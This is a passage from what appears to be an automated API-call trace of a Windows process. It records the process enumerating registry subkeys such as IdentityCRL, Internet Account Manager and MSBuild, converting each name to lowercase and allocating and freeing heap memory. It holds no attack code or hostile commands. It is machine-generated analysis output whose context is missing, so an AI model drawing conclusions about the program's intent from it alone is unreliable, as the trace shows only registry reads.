(HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.573] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x23fb930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0247.573] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.573] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x23fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0247.573] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.573] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x23fb930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0247.573] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.573] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0247.573] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.573] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x23fb930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0247.573] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.573] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x23fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0247.573] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.573] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.573] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x23fb930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0247.573] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.574] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0247.574] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.574] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x23fb930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0247.574] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.574] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x23fc0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0247.574] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.574] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x23fb930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0247.574] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.574] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x23fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0247.574] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.574] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x23fb930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0247.574] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.574] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x23fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0247.574] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.574] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.574] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x23fb930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x23fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.575] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.575] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.575] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.575] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x23fb930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x23fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.575] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.575] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.575] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.575] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x23fb930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x23fc120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.575] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.575] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.575] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.575] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x23fb930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x23fc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0247.575] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.575] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.575] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.576] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.576] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x23fb930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0247.576] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.576] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x23fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0247.576] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.576] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.576] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.576] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.576] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x23fb930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0247.576] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.576] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x23fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0247.576] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.576] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.576] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.576] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.576] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x23fb930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0247.576] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.576] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x23fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0247.576] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x23fb930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0247.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0247.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x23fc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0247.576] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x23fb930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0247.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0247.576] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x23fb930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x23fc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0247.577] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x23fb930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x23fc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0247.577] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x23fb930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x23fc0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0247.577] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x23fb930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x23fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0247.577] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x23fb930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x23fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0247.577] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x23fb930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x23fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0247.577] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x23fb930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x23fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0247.578] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x23fb930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x23fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0247.578] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x23fb930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x23fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0247.578] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x23fb930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0247.578] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x23fb930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0247.578] WideCharToMultiByte (in: 